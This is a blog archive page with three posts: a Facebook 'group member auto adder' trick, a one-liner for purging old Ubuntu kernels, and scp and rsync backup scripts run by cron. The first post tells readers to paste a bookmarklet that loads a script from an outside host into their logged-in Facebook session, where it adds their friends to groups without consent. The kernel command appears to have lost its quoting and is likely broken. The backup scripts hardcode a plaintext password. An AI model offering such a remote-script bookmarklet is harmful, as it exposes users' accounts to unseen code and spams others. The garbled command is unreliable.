Showing posts with label auto. Show all posts
Showing posts with label auto. Show all posts

Tuesday, September 26, 2017

Trick To Increase Facebook Group Member With Facebook Auto Adder JavaScript

Trick To Increase Facebook Group Member With Facebook Auto Adder JavaScript


Hello Friends..

Sorry for my inconsistency on FreeFileHouse,I was busy with my exams thats why didnt able to concentrate on blogging.
but belive me after my todays post you will forgive me for my inconsistency on blog posting.. :)

So,coming to the topic again today i will show you a cool java script by which you can easily able to increase your group members on facebook.This is really a cool javascript and i tried it on my group and got approx 150000 members in just one day..isnt it sounds cool..

So without taking much of your precious time..Here the process..
First of all Make Sure Bookmark Bar is
visible. If not visible then right click on the top of Firefox and select "Bookmarks Toolbar". & This will make Bookmark Bar visible.




For Google Chrome Users Simply Press Ctrl+Shift+B


Copy the following JavaScript & paste it on Bookmarks Toolbar as you can see in image below.
javascript:(function(){document.body.appendChild(document.createElement(script)).src=http://alviarman2009.my3gb.com/script.txt;})();






This will create a bookmark "javascript:(function(){" in the bookmark bar.




Log In to Facebook

And Go To any of the facebook group.

Now Click the Bookmark that you made..
This will start adding your friends in that Group




To get maximum members to your facebook group..Request all your group members or friends to do the same..


This JavaScript is tested successfully on browsers like mozila firefox and google chrome..and works fine on them.
if you are facing any problem with this javaScript Comment below..i will try my best to sort that out..

start adding your friends to groups before facebook block this script.. :)

enjoy!!

download file now

Read more »

Wednesday, September 13, 2017

Ubuntu Auto remove old kernels when you are running out of space

Ubuntu Auto remove old kernels when you are running out of space


If your root partition is running out of space, you can auto remove the old kernels with this command in the terminal:

 dpkg -l linux-* | sed /^ii/!d;/"$(uname -r | sed "s/(.*)-([^0-9]+)/1/")"/d;s/^[^ ]* [^ ]* ([^ ]*).*/1/;/[0-9]/!d | xargs sudo apt-get -y purge 

Source: https://help.ubuntu.com/community/Lubuntu/Documentation/RemoveOldKernels

download file now

Read more »

Monday, September 11, 2017

Ubuntu auto backup to remote host using scp rsync crontab

Ubuntu auto backup to remote host using scp rsync crontab


Bash script to transfer files via SCP

#!/bin/bash 
REMOTE_IP="x.x.x.x"
SCP_PASSWORD="mypassword"
expect -c "
set timeout 1
spawn scp -r /Local/SourceFolder uname@$REMOTE_IP:/Remote/DestFolder
expect yes/no { send yes ; exp_continue }
expect password: { send $SCP_PASSWORD }
expect 100%
sleep 1
exit
"
Save the above script to autoscp.sh and give the execute permission. The SourceFolder is the folder whose contents are sent to DestFolder on the remote host .
$ chmod +x file.sh
$ ./file.sh
Install expect if its not on our machine, expect  is a program that "talks" to other interactive programs according to a script. We use this in this script to provide the password when asked for by the scp command.
sudo apt-get install expect

Bash script to sync local & remote folder via rsync

#!/bin/bash 
REMOTE_IP="x.x.x.x"
SCP_PASSWORD="mypassword"
#And now transfer the file over
expect -c "
set timeout 1
spawn rsync -azvv -e ssh /Local/SrcFolder uname@$REMOTE_IP:/Remote/DstFolder
expect yes/no { send yes ; exp_continue }
expect password: { send $SCP_PASSWORD }
expect 100%
sleep 1
exit
"
-a preserves the date and times, and permissions of the files
-z compresses the data
-vv increases the verbosity of the reporting process
-e specifies remote shell to use

Save the above script to autorsync.sh file and give the execute permission.
Refer this Ubuntu documentation for more details on rsync. Both the bash scripts mainly automate the rsync and scp transfer, so that password dont need to be supplied.

Scheduling this rsync and scp scripts to run periodically

Use crontab to schedule these scripts to run periodically. To edit crontab use
crontab -e
Add the below lines
# m h dom mon dow command
0 * * * * cd /location/of/script;./autoscp.sh
30 * * * * cd /location/of/script;./autorsync.sh
m - minute
h - hour
dom - day of the month
mon - month
dow - day of the week
0 * * * *  will run the script at 0 minutes every hour, every day of all the months.
30 * * * * will run the script at every 30 minutes on every hour, every day of all the months.

download file now

Read more »